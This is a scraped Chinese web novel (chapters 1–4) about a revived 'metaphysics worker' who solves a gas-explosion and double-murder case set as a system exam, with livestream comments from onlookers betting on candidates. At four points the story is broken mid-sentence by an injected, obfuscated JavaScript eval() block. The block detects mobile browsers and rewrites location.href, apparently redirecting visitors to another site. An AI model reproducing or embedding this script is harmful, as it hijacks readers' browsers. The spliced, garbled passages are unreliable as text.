《起床，干活啦[无限]》 1. 一 我死了，又活了。 死去活来。 身兼热门要素穿越一，系统一，死去活来一，空气墙副本一。 后者大概率还会有二三四五六。 恍惚间仿佛看到好容易完结的社畜人生重新开启。 唉—— 有一说一，既然是超级英雄，为什么不能是蝙蝠崽文学呢？ —————— 五年一度的宗门大比海选。 最中央的擂台上，正在进行的，是万剑宗明星学员与扶风山明星学员之间的对决。 百年一遇对百年一遇。 天生剑骨对纯净天灵根。 丰神俊朗对冰肌雪肤。 天才对天才。 导播很懂的将镜头先后怼脸直拍，大屏幕上不是秀眉微颦就是眼窝深邃，不是嘴角微抿就是目光如炬。唯美又充满力量感的画面里，连灵力裹挟下翻飞的颊边小碎毛都带着阵阵仙气翩翩，引的场外吃瓜群众尖叫连连。 新历62年，灵气复苏的第62个年头。利用天地间的灵气修炼，掌五行之力，御万物之灵，早已不再是纸间笔下的创作。它深入了每一个国家，每一片土地，变成了大街小巷里，随处可见的日常。 别问62年哪来的百，营销的事能算事吗？ 老旧的电视里不停传出解说穿插着名词粗解的慷慨激昂的呐喊，变调的尾音带动着现场观众的呼声，一浪高过一浪。 是破损的外壳也挡不住的火热激情。 面前的茶几上摆着吃了一半的外卖麻辣烫，早已冷却的红汤撒了许多出来，在桌面与地板上晕出好一片禁止踏足领域。 半开的窗户外是安详寂静的午后，两盆绿萝在窗台上独自生机盎然。 客厅的地面上有薄薄一层灰，忠实的记录着所有踩在它身上的鞋的印记。 头顶的灯是开着的。 门边的挂钩上挂着一件脏兮兮的外套，长长的下摆上有三分之一的部分都沾着半枯的泥，皲裂的泥块被纤维拉扯，在布料上要掉不掉。 沙发旁边摆着一张打开的折叠单人床，上面堆满了乱七八糟的书籍、纸张和文件夹。 再旁边，是厕所半开的门。 一间随意到邋遢的一居室。 房间主人似乎走的匆忙，匆忙间带洒了麻辣烫的汤汁，还忘记关灯。 夜晚。 衣服又是誰的呢？ 空气里满是麻辣烫和液化气的味道，不怎么好闻。 一双眼睛直直朝向电视里激烈又炫酷的画面，眼睛的主人有一张和电视里那百年一遇丰神俊朗天生剑骨的万剑宗明星学员一模一样的脸。 只是，这张脸上没有电视里那张即使眼窝深邃嘴角紧抿眉头紧皱发丝狂舞也挡不住的意气风发。 每一条代表岁月流逝的刻痕里，都充斥着疲惫，和厌倦。 那张虽历风霜却依旧英俊的脸上，曾被无数人称赞深邃的眼睛一眨不眨，略微涣散的瞳孔仿佛照不进任何东西。 简易的燃气灶台就在厕所旁边，紧挨着唯一的窗户。有一只手，隔着袖子，拧紧了朝向床的方向的阀门，又取走了立在阀门上，马上就要烧到被细细的绳子绑住一端的位置的香。 一个与灰蒙蒙的狭小房间格格不入的彩虹寸头弯腰凑近了液化气瓶，徒手掐灭的香重新回到了它原本所在的地方，被小心翼翼的捏着比划。 寸头的视线略过细香，飘到不到两拳距离外乱七八糟的床，停了两秒，挪动脚步，凑近脏到看不清本色的床单，眯起眼睛，丢开细香，翘着手指，摸了一下。 收回手，指尖沾了一层黑色的粉末。 是碳粉。 一张摆放位置微妙的床。 彩虹头直起身，拍掉指尖的黑灰，绕过障碍物们，走到沙发上坐着的人身边，避开被麻辣烫汤汁占领的部分，双手抱膝，把自己塞进了茶几与沙发之间的缝隙里。 “你……” 一个你字被她说的一波三折，磕磕绊绊像是被放在灼热的砂子里爆炒了三天三夜的声带发出的粗粝声音，突兀的回荡在这个小小的房间内。 气氛上莫名匹配，就是有点诡异。 彩虹寸头默了默，使劲清了清嗓子，又挤出一点口水艰难的咽下去。 干涸的声带得到久违的滋润，不再像之前那么紧绷。 这次她吸取了教训，先啊了一声，出口是依旧沙哑的嗓音，但听感比刚才好了不少。 之前未说完的话终于飘进空气里。 “你好。” 眼前人没有开口回应，彩虹头也没指望他开口。 她略略仰着脸，看着男人微微佝偻着的脊背，又说了一遍。 “很高兴见到你。” 才怪。 彩虹头的的身侧飘着一个半透明的面板，那大概是无礼打断属于她的长眠，把她丢到这里的罪魁祸首。 嗯，大概。 罪魁祸首上飘着字。 【资格考核（拟委托）】 【委托人：未知】 【委托内容：震惊！燃气泄漏，爆炸致十七人受伤，一人遇难】 【考核内容：在限定时间内完善自己的调查和推理】 【合格标准：线索收集率超60%，推理正确率超60%】 【委托提示：灵气复苏（超级英雄）】 【请考生根据阶段提示提交答案】 几行字，不能翻页，没有交流。十分，嗯，人性化的考核合格标准，莫能两可的考核内容。除此之外，只有角落里尽职尽责的倒计时在不停的跳动。 时间仅剩十分钟。 细巴巴又布满伤痕的手在身侧的地板上重复划拉着简易的符号，凹陷的双眼来回描摹着男人那张没什么表情的脸。 彩虹头不了解什么修仙，她在这方面的知识储备堪称贫瘠。她只知道动辄苍生陪葬的白月光火葬场，全师门往死里宠的调皮可爱小师妹，被剃了骨头也能活蹦乱跳涅槃归来的天选之人……或许神？ 总之，不要指望一个来自其它世界的普通玄学打工人能无缝融会贯通修仙世界观下的规则。 太难了，无法理解。 修仙人的脸就放在那，她却瞧不出哪怕一丝一毫的命。 修仙人的手就放在那，她依旧瞧不出哪怕一丝一毫的运。 修仙人的手机就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149246|150286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在桌上，她却得不到除了时间以外的任何信息。 嗯，这个世界的手机是灵气解锁呢。 唉—— 手指不知什么时候停下划拉，摸向了男人搭在膝头的手腕。彩虹头的目光微微失焦，开始回忆自己在这间出不去的屋子里翻到的线索。 反锁的房门，门边外套口袋里粘满泥巴的、写着0319的小纸条。 破烂的衣柜，里面只有零星几件脏烂衣物。 吃到一半的外卖，油污上粘了一层灰的灶台。 电视柜里塞满的光盘，运作时间超62小时的古董DVD，电视里天之骄子活跃且闪耀的英姿。 难以光顾的床，床上各类落灰的失踪案件资料，床单上仿佛不是人为，精心铺就的碳灰。 窗台上格格不入的绿萝，原本紧闭的窗户和简易的点火装置。 亮着的灯。 地面的薄灰上，只有和眼前人鞋码一致的脚印。 干净的液化气罐，厕所里肮脏但没有内容物的废纸篓。 没有生活气息——这是一个据点，至少有两个人活动过的痕迹。 彩虹头摩挲着男人的手腕。 你是谁呢？是那二分之一，还是外来者？ 时间来到八分钟。 这个空间的时间是薛定谔的静止，一些物品经过干涉会重新运作，比如电视，比如燃气阀。一些物品就算干涉也依旧静默，比如不会增加哪怕一个新脚印的地面，比如手机锁屏页面的时间。 沙发上男人的身体如同一座冰凉且坚硬的雕塑，不会随着时间的推移产生一丝一毫的变化。 彩虹头理所当然的没摸到脉，她结束回忆，眨了下眼，起身，一屁股把自己摔到坐起来不怎么舒服的沙发上。 时间来到五分钟。 她把自己堆成了一坨，没骨头一样团在脏兮兮沙发的角落里，单手捏着脖子上轻飘飘的大金链子，伴着电视里持续的激昂，对着空气发呆。 看似简单的密室题，线索全都摆在眼前，却凑不出完整的故事线。 题不全哦。 张大嘴打了个哈欠，彩虹头的目光虚虚落在窗外。这间房子的楼层不高，能看到不远处绿化的树冠。 虽闭眼睁眼的体感间隔几乎可以忽略不计，但精神上，总感觉已经过去好久好久了。 她喜欢这样祥和又悠闲的氛围。 就是室内的气味太难闻，特殊机制下，打开的窗户形同虚设。 时间在肆意挥霍中飞速归零，透明面板闪了闪，露出了两行新字。 彩虹头转动眼珠看了过去。 【请参与考核者在一分钟内离开房间】 【可携带物品数量+1】 角落里是眼熟的倒计时，说好的一分钟，多一秒都不给你。 沙发上的那一坨转动一下眼珠，接着长长疏了一口气，重新摆摆正自己散掉的骨头，抓起茶几上的手机，晃了晃被煤气味熏的有些迟钝的脑袋，拖拉着脚步往门口走去。 门是被人从内部用钥匙锁上的，一般来说，得拿钥匙开。 但彩虹头不是一班人。 她就没上过正经学。 2. 二 门把手早在第一轮搜查的时候就被拧断扔在一边，此刻躺在墙角安静如鸡。 内里锁芯也早就被暴力拔了出来。 谁能想到这个又瘦又小的家伙能有那么大力气，谁能想到？ 钥匙是什么东西？找是不可能找的。 始作俑者丧唧唧的顶着她那一头色彩斑斓，拉开房门，走了出去。 室内的一切在她出门后，顷刻间如幻影般消散。 眼前的一切陡然昏暗，彩虹头不适的眨了眨眼。 ———— [来了来了，第几场了？] [第一场] [第一场，还早呢] [6，隔壁都筛二轮了，这才刚开始] [我们智类筛选是这样的] [慢热了解一下] [让我康康这次又是谁人的黑历史（苍蝇搓手手JPG）] [什么鬼] [是你们，谢谢，必不可能筛到我] [好粗壮的旗，插个眼] [从第一轮就开始蹲的是有多闲] [所以有人推出来主角是谁了么？] [才刚开始，急什么] [目前已知信息只有人类，灵气，男的] [男的不一定吧，毕竟改编] [哇哦，性转] [哇哦，男娘] [人类也不一定吧，毕竟改编] [人类还真就一定，初始考场是按种族划的，总不能指望鱼能理解两脚兽的爱恨情仇] [科学位面就能和玄学位面相互理解了吗？] [嗯……怎么不能呢？] [毕竟本质上还是一套东西，同样的脑子很难做到真正的突破] [前面提问的萌新是龙傲傲团吗？] [不废话么，真突破就破纬度了，有几个智慧生命能凭自己破纬度的] [死亡不就是破纬度么？] [是破了，但生死逻辑与当事人无关啊] [你要这么说，那当事人本身也与当事人无关咯] [何出此言？] [就是体内逻辑和体外逻辑] [跑题了啊你们，还连跑两次（指指点点）] [龙傲傲团是什么鬼？] [前面的，指路#新晋上升队伍盘点#] [治病不算吗？剪头发？] [打补丁磨刀磨剪子能算吗？] [嗯……怎么不算呢？] [本质没变，算个锤子] [……] [大佬们，收收神通] [萌新被你们吓的不敢说话了都] [我们虚无派是这样的] [讨论点阳间东西，求求了] [傲傲还在吗傲傲？] [阳间是什么？死了很多年了谢谢] [只有我在关注辣个沙发上的人吗？上半张脸明显照着曲总捏的哎] [……社畜曲总吗？] [前面的，别逗我笑，求你] 官方直播间的画面被细分成了一个又一个的小格子，每个小格子里面都框了一个人。 有男有女，老中青齐全。 画面右上方是一个拼图样的图案，后面跟着两行小字。 【二号考场】 【初试通过率：67%】 数字还在增加，倒计时也在继续。 一分钟很快过去。 直播间观众不多，只有两位数，弹幕却刷的飞起。 [好无聊啊，还在潜水的是都开着录屏睡觉去了吗？出来嗨啊@全员] [没办法，毕竟初试] [话说去年终试过了几个？] [两个，可惜了] [？] [两个还可惜？] [一疯一嘎，你说呢？] [啊这] [什么情况？] [半年前叭，一个紧急任务，本来说是幻想世界，结果中途被闪现的克总包圆了] [评级的锅，总务没摸到克总，两个小队进去，十二个人，出来不到一半，还疯了三个] [讲道理克系评级就没靠谱过，因为这个损失多少人了] [……] [问题是靠谱不了] [许愿，未来的指挥最好能打，但不能太爱打] [温柔一点] [会做饭，爱干净] [该苟的时候绝对不莽] [能爆金币] [……你们说的还是指挥吗？] —————— 门外是走廊，狭窄，闭塞，没有采光，只有一盏隔几秒闪一下的小灯在尽头的防盗门顶上尽职尽责的站很可能是最后一班的岗。 一扇扇相同的门罗列两侧，斑驳的墙面上墙皮左凸右支。 彩虹头回头，发现身后的门紧闭，门上有卡槽，里面塞着一张泛黄的纸，上面写着405。她视线向下，看向重归完整的门锁，试着开，果然开不了。于是轻车熟路的抓住门把手，一拽一扭，门把手掉了，再一拽一扭，锁芯也掉了。 完美。 她露出个清浅的笑，弯腰凑近被自己弄出来的洞口往里看，只能看到一片沉沉的黑。 哦，不给往返。 意料之中。 一分钟的倒计时很快结束，面板上的文字再次发生变化，之前多出来的那两行被新两行代替。 【找到你的目的地】 【如提前30秒及以上作答，可携带数量+1】 倒计时重新开始工作，这次是三分钟。 彩虹头按亮手机，发现时间从新历76年10月19日14：27跳到了新历76年10月17日01：40。 两天前，半夜。 她抬起脑袋左右看了看，随后几步跨到防盗门前，开门无果后试图卸锁。 纹丝不动。 眼前的门板上贴着哼哈二将，二将手里捏着桃木剑，拄着镇魂帆。 挺有特色的。 面板适时提示【是否确认提交答案】 彩虹头眨了下眼，结束和二将的深情对视，无视面板，蹲下身用手机屏微弱的光补了点亮，仔细围观门缝，又侧过身看了看身后的地面。 劣质瓷砖铺就的地面勉强称的上一句干净，但门框的缝隙间与门板的下半部分都有新鲜的泥点泥浆。 泥巴衣。 彩虹头直起身，在心底轻快的给沙发男和泥巴衣之间的连线上打了个叉。 三分钟还剩不到一半。 彩虹头小跑两步来到狭窄走廊的另一端，中间姿势诡异的来了个大跳，接着与墙角的拖把一起，隔着六扇门和另一端尽头防盗门顶上忽闪的灯遥遥相望。 墙壁上没有任何可供明显区分的记号，六扇门的门牌与泥巴衣口袋里的数字南辕北辙。 一眼可见的只有门，修仙版门神，拖把，以及——灯。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149247|150286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 时间只有三分钟。 干净的题面。 这里必然有一个显眼又不显眼的提示。 彩虹头开始跟着顶灯的明灭闪烁速度闭眼睁眼。 …… 找到了。 还真是408啊。 她抢在倒计时经过30秒之前将手按在门把手上，对着面板上重新弹出的提示说了句确定，另一只手飞速将手机收进兜里，半蹲着往门边空荡荡的地方一捞。 明明什么触感都没有，却感受到整只手像是被泡进了冰水里一样，冷的刺骨，下一秒，她眼前一花，整个人已经被不明方式挪到了室内。 —————— [没看懂，求解惑] [同没懂] [第二关对玄学修仙一类位面的人来说没什么难度，算送分了，PS仅论过关] [也没有那么送分] [最简单的识破都能惊动那个小鬼，别看它小，血气是真的重] [找到目的地只是及格，没把小鬼一起带进去，第三关估计得跪] [连门神一起带，修为不够外挂凑，倒也不是必跪] [确实，那门神有点东西] [emmm……感觉对非玄学修仙人不是很友好] [只能带一个好吧] [把上一个丢了不就行了么？提前交卷丢都不用] [我傲在吗？接一下私聊呗小可爱（探头JPG）] [也没有那么不友好，详情见一列正四，六列倒三，九列正二，等] [这个等用的就很灵性，充分表达了对其他人的不看好] [见笑] [同押六倒三，逻玄双修，至少能过三场，稳进了] [这届逻玄双修的好像有点多，不知道有没有调查员] [悬，以调查员们的普遍精神状态而言，且为了避免被入侵，总务轻易不会从克系世界拉人] [据说是因为以前出过事] [好了好了，正确答案单选门神，结案] [啊对对，你又知道] [二场主考的应该是快速应对] [哪里简单了请问？] [怜爱摸楼上狗头] [智类资格考，一个初试平均通过率屡超85%，终试通过率却只有0.3%的神奇之地] [还有下降空间，好耶~] [一般过三场就算拿到入场券了，三成左右，平均水平] [三场宝宝进不了我们这一层] [也没有进不了，只是很少] —————— 彩虹头像是得了什么不卸门锁就会死的病，在随意瞥了眼屋内情况以后，立刻转身对门锁进行了惨无人道的迫害。 与405门把手遭遇了相同的人为事故，408门把手好歹得到了最后一点体面——没有曝尸墙角。它被犯人随手丢进了门后收拢的黑伞里，生无可恋的卡在弯折的伞骨中间。 门边有两双室外鞋，简易的鞋架上整齐码着几个鞋盒，门上贴着一排挂钩，依次挂着钥匙，平安木牌和黑伞。 依旧是单程票。 彩虹头从原本是门锁的洞口收回目光，转身站在门口，视线略过门口那两双鞋，在其中一双靴子鞋梆子上停留了一小会儿，接着看向室内。 与405相同的室内结构，唯一的区别是，408有两扇窗，窗外的树冠茂密，正随着微风轻轻摇晃。 ……咦？ 3. 三 彩虹头果断开始掏手机。 这时，走廊题结算时间结束，倒计时重新刷新。 她的目光从手机屏幕收回，看向系统面板，顺着字句移动，直到看到倒计时。 倒计时在面板的右下方，不大的一行小字，正在跳动的数字。刷新三轮了，这次却有点不一样。 408和405给的时间都是30分钟，但408的倒计时却比405多了个小小的+，这个+正缀在默默跳动的数字尾巴上。 彩虹头试着点了一下，没反应，遂放弃。 随便吧随便吧。 她收回目光，迈开步子向前走，忽略了身边若有若无的异样寒冷，顺手扯下自己的一整只袖子，手指在袖子上动作随意的划拉了几下，接着，将袖子系在了脑袋上，掩住了口鼻。 手机显示时间是新历76年10月17日8点21，和走廊是同一天，也就是说，和泥巴衣是同一天。 房间临路，透过侧边的窗户能看到窗外川流的形制略有些奇特的单人座驾，隔音效果很一般的玻璃给窗外飘进屋内的嘈杂蒙了薄薄一层纱。 彩虹头溜溜哒哒走到窗边，在窗台上的绿萝和熏香中选了体型较小的熏香，打开窗户往外怼，失败，伸手，依旧失败，期间不小心差点踩到放在墙角的食盆。 塑料食盆看起来已经用了一段时间了，但刷的很干净，她拿起来看了眼，底部粘着褪色了很久的标签，标签上黑色签字笔留下的痕迹里，只有半边‘句’字能勉强辨认，还是缺了部首的。 狗？ 彩虹头摩挲了一下食盆边缘像是被使用者的牙反复磕碰后留下的毛刺刺的片片印记。 狗怎么吃饭的来着…… 她把食盆重新放回地上，试图从自己浆糊一样的记忆里拉出些有关家养宠物狗的讯息。 …… 算了。 与之前的房间和走廊不同，窗外的时间是流动的，室内的时间也是流动的。 手机屏幕上代表分钟的尾数已经从1来到了3。 彩虹头的视线停在锁屏界面，眼角微动，似乎是笑了一下。 她真的很瘦，像是很久都没有良好的营养摄入一样。眼眶不健康的凹陷，太阳穴边没有一点点肉，整颗脑袋几乎和薄薄一层皮包着的骷髅一样，皮肤还泛着灰，毫无血色。 如果不是头上围着一整条袖子遮住了大半张脸，画面可能会有点有碍观瞻。 房间很小，和405一样小，勉强称得上双人床的床挤在墙边，床和沙发靠在一起，简易的灶台依旧和厕所相亲相爱。 与405不同的是，这间房子处处都充满了生活的痕迹。灶台下的小柜子里有摆放整齐清洗干净的碗筷和一个小平锅，灶台旁边还有个简易的架子，上面放着空气炸锅和电饭煲。 地面很干净，床边摆了一小张印有‘早呀！’字样的地毯，充当茶几的小圆桌上，放着一对造型可爱的情侣马克杯。 窗帘是清新的渐变绿，墙面上贴着墙纸，面东的窗户上还挂着一串系着木符的手工风铃。 彩虹头凑近仔细看了眼。 嗯，养魂的。 她不动声色的瞥了眼一直不停在自己腿边打转，从进门后就一改在走廊时都瑟缩，显得激动很多的黑团子，又看了看那个被她顺手放在窗台上的塑料食盆。 床上支着的小桌子上摆着一本书，封面上写着《灵气补充与属性转化》，旁边是挤满了文字的笔记本，笔记本的封脊上有扶风山的图标。 茶几旁边的地面上仰面躺着一个平板，没有熄灭的屏幕上循环播放着近期的新闻摘要，使用者单独拉了个记事本出来，简单记录的词条，全是人口失踪相关。 沙发的靠背上方有个相框，里面是一对尚且年少的孩童。男孩牵着更加年幼的女孩，在某个略有些眼熟的巨大场馆入口处仰着笑脸，对着镜头快乐的比着剪刀。 彩虹头收回目光，侧身下蹲，看了眼床下。 一块磁性黑板，上面有许多写着乍一看不成系统的单字与符号的纸片，一些连线与连线之间被画了红色的叉。 …… 彩虹头直起身，微微移动目光，看向了沙发。 满目锈红。 她轻轻叹了口气。 屋内溢满了浓郁的香气，这香气与血腥气混在一起，稍微闻久一点就会头晕。 谨慎起见，她进门起就给自己蒙了个画了破障符的简易防毒面具，这玩意防不了化学毒气，但能防点玄学的，修仙的看样子也行？ 室内没有任何打斗的痕迹，不排除凶手离开前做过清理。 她拿起枕头边有着可爱手机壳的手机，按亮屏幕，拨打了报警电话。 和预想中一样，听筒那边响起了通话接通的声音。 彩虹头再次无声叹气，这次，是为了自己劳碌的社畜命。 一场发生在考题之前的凶杀案，一只看起来不大聪明的不知名小鬼。 人口失踪，修仙明星，405室内反锁的房门，很有水平的门神。 超级英雄？ 405里匆忙离开的人找到了，泥巴衣的主人也找到了。 那么，煤气泄漏后出现的死者是谁？天生剑骨兄又在这两起事件中，扮演了什么角色呢？ “你好，我报警。” —————— [正题开始，买定离手了家人们] [这次的额外加试居然给到第三场了吗？] [小鬼呢？] [现在是白天好不好，想知道小鬼在哪，钻考场里自己找] [所以果然门神才是正确答案？] [不见得] [有人报警了] [哪哪哪？] [嚷嚷啥，报警不是基操吗？] [前面的，指路六倒三，不谢] [这位……穿的挺热闹的] [五颜六色，男的女的？] [也不一定以男女论，之前去过一个世界，那里光人类的性别划分就有200+呢（目移）] [啊？] [怎么划出来的？根据浑身长了几个凸和几个凹划吗？] [……前面的，带着你的凹凸从我脑子里圆润的出去，请] [题名十一正一，这位好刚，估计是想收复小鬼直接搜魂，已经和小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149248|150286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼打起来了] [七正二已经搜上了谢谢] [一正四也不错啊，一看就是纯科学位面出生，进度完全不输] —————— “不知道……我醒来以后就在这里，你们能定位吗？” “这不是我的手机，我解不了锁。” “对，是紧急联系。” “身份证明？没有，我身上什么都没有。” “不记得了，对不起……” “周围有人吗……有，两个人。” “是……” “你们快来吧，对不起，我也说不明白，我现在脑子里很乱…………” 她的脸上似乎没什么表情，隔着袖子也无法准确捕捉到她的面部肌肉变化。 但她的声音在发抖，沙哑干涸的嗓子，演绎着一个充满了不安和害怕的人设。 电话那边的女声安抚着回应，又要求不要挂断电话，彩虹头憋着嗓子嗯了一声回复。 她举步绕过吸饱了鲜血的小地毯，走到被妥善安放在大腿上的脑袋不远处，慢慢蹲下身。 很年轻的女孩子，长发被挽成了漂亮的发髻，脸上很干净，双颊还带着点婴儿肥，合着的双眼，就像睡着了一样。 彩虹头的目光移向女孩儿干净的耳廓。 很可爱的耳廓，耳垂很短，但耳朵下半部分整体形状圆润，上半部分有个尖尖。 这种叫什么来着，精灵耳？ 和录像带里那个百年一遇的扶风山明星学员的耳型一模一样。 这是一颗被精心打扮过的头颅，脖颈处切面平整，也不知道凶杀用了什么方法，切面处没有一点血液流淌的痕迹。 头颅被一具无头的男尸双手环拢着，端放在腿上，剩下的残余肢体，被创作者充作装点画面的填充物，分散安排在了沙发，墙壁和地面上。 画作的主人严格框出了创作的范围，没有让哪怕一滴血越界。 男尸是右利手，身上穿着黑色的卫衣，脚上踩着人字拖，袖口处有一块不明显的油渍。 彩虹头微微移开手机，塌着腰凑近闻了闻。 花椒与油泼辣子的香气。 她的脑海里很快闪过了405的麻辣烫。 一个学生，一个半吊子私家侦探。 你们因什么而死呢？ 失踪案？ 彩虹头站起身，期间脑袋上不怎么合适的假发晃了一下留海垂下来一大截遮住视线。她抬手推了回去，脚步轻缓到几不可闻的挪动着，来到了大开的厕所门边。 里面很干净。 可爱的带着兔子耳朵的，大概是沐浴专用的拖鞋靠在墙边，同样可爱的洗漱用品，浴巾浴衣。马桶上套着成套的马桶垫，镜子的边角贴着可爱的动漫人物。 这种专门用来出租给囊中羞涩人群的公寓楼，她很熟悉，毕竟她自己以前住的也是类似的地方。 千篇一律的布局，狭小的空间，老旧的家具，时灵时不灵的上下水和电力供应，以及可怕的隔音。 能在这样的地方住出这种让旁观者都能毫不违心的称赞一句温馨的观感，必定是个热爱生活，积极乐观的人。 4. 四 彩虹头在卫生间门口停了几秒，举步走了进去。 这里或许有一个暗门。 未曾谋面的房东看起来十分了解人们的一些小避讳，也很乐意遵循市场里的一些不成规则的规则。 比如，他的房门编号避开了可能会被忌讳进而影响到自己名下房产出租市场的4和7。 嗯，虽然四楼避无可避，大概指四为五这件事会被诟病，或者并不被允许？ 不管怎么说，这种抽数字一样的编号逻辑使405与408成了名副其实的领居。 405的房间是从内部反锁的，而房间里的人却不见了。 鉴于修仙世界很可能会发生的飞檐走壁，彩虹头一开始并没有完全确定人是从厕所离开的，就算405厕所门开着，408同样，而两个房间的厕所正好是以一面墙为轴心的镜像分布。 翻窗不失为一种好文明，毕竟她自己以前也常翻。 直到她看到两名被害人为止。 目前来看，电视剧里的修仙大概率和真实情况有很大出入，又或者灵气复苏并不像她脑海里预设的逻辑那样。 为什么提示里会特意强调灵气复苏？ 两名被害人目前看起来和普通人没什么区别。 说好的全民修行呢？ 彩虹头自小浸淫玄学世界多年，虽然师父不怎么靠谱，这导致了被师父放养的自己更加不靠谱，但最基础的眼力她还是有的，比如分辨眼前人是否有摸到那个门槛。 以她浅薄的知识储备来看，答案是没有。 行此道者，就算身死，身负的灵光完全消散也需要几天。有道行高深者，灵光消散的时间甚至需要以年来计数，这也是为什么在玄学界，好吧，严谨点，在她们那儿的玄学界，火化成为了正道的唯一选，毕竟谁也不想自己的尸骨被奇怪的人拿去酱酱酿酿。 隔壁明星身上的灵光贼亮，两位被害人身上却只能看到死气。 是因为这里和她那边的世界不一样，还是别的原因？ 彩虹头一边回应电话对面时不时响起的人声，一边伸手。手指关节触到了冰冷的劣质瓷砖，一墙之隔的对面，就是她之前去过的405。 简单明了的一整面墙，目之所及，没有任何可供人通过的洞口，或者机关。 ……难不成真是翻窗？ 她沉默着捏起拳头，打算锤一拳试试。 说干就干。 挥出的拳头带起一小鼓凌厉的风，眼看就要砸在墙面上，就在拳头即将与瓷砖相触的瞬间，外间忽然戏剧性的响起了敲门声。 与此同时，耳边的听筒里，接线员正在用清晰的语句告知她警察已经到达，让她不要害怕，打开房门。 彩虹头没回话。 原本该与墙面亲密接触的拳头被一只仿佛从瓷砖上长出来一样的手单手接住，那手力气虽不大，却能让向来以力气大为卖点之一的自己动弹不得。 墙上的手似乎并没有恶意，甚至在一瞬的发力以至即将造成彩虹头手骨损伤的瞬间收了力道——它仿佛能感受到眼前这个包/皮骷髅的外强中干，它只是阻止。 阻止什么？ 彩虹头看着这只手，张了张嘴。然而，还没来得及发声，时停了。 ———— [货比货的扔] [货比货的扔] [有的人已经开附加了，有的人还在忙忙碌碌] [忙忙碌碌也没什么不好] [虽然已经不大看得懂到底发生了什么，但不妨碍我在这里叽叽歪歪] [叽叽歪歪+1] [到现在已经时停七个了，这七个人算稳过了叭] [能提前交卷，系统判断时停，说明要么是线索收集满了，要么是提前触发支线了] [？] [不能算稳，推理失败直接拜拜] [确实] [决定了，我压一正四，气场强大的老爷爷，看样子是满搜集开的时停，优雅强者，爱了爱了] [？？？] [同一正四，关注他半天了，虽然目前听不到副本里具体的声音，但感觉很厉害的样子] [有六倒三吗？（探头）] [有，我] [嗯……感觉还是逻玄双修的赢面更大，跟一个六倒三] [前面的，你家其它两家逻玄双修还在忙忙碌碌呢] [感谢祝福，我也觉得他俩一看就是我家的] [呸，凑表脸] [十二正一应该是位法医，有经验，我压她] [笑死，法医在这里能顶什么用？我看她就是那个误触，撑死过三场] [？法医怎么你了那么大口气？] [买定离手了哈家人们，出门论坛专区下注，积极参与快乐围观~] 智类考核分区，官方直播平台内，大概是因为考核进入关键时期，观看人数正在逐渐上升。 画面内不时有黑掉的小格子出现，在一众小格子间不算太多，但很显眼。 [友友们，我去混台那里看了一眼，果然还是武和技的人气高啊，特殊类别次之，智类每次参考的人就少，人气更是低] [落魄户嘛，正常] [外层的任务对脑子的要求不高] [那边需求多在武力，自然武力考核的人气更高] [说的好像我们这边不需要武力一样] [……抬杠是吧？] [也不能说对脑子的要求不高叭] [逻辑正常就行] [每个区域考核也不光考一项啊，只是有侧重] [这次智类就有小鬼，考生但凡面对尸体的时候出现一丁点恐惧情绪，不就有武力考核的部分了么] [别说，小鬼真挺能打，也不知道吃啥长大的] [你管那叫武力考核？那不是惊吓吗？？] [嗯……怎么不算呢] [没有恐惧的说明见惯了，武力部分大概率有保障，额，特殊职业除外] [法医小姐姐：你点我呢？] [柔弱的其它科医生们：你点我呢？] [虽然奶的武力值总是团队里那个凹，但是一个团队没有奶是万万不行的！] [乐] [有求生欲，但不多] [跟一手十二正一，我们队严重缺奶，法医也行，真的，不挑] [……那我也压一手，图个吉利] [？] [话说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149249|150286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来，今年智类说不定也能像去年一样出个黑马？混池那边智类赔率怎么样？] [挺高的] [不用想，肯定高] [！我去了！] ———— 时停的感觉很微妙，周遭原本轻盈的空气仿佛突然变的粘稠，体外声音在一瞬间消失的彻彻底底。 一片寂静中，彩虹头甚至能清晰的听到自己胸腔内心脏平稳的跳动声，血液在血管中流淌的涓涓声，背景里甚至还有丝丝微弱的电流声。 就很神奇。 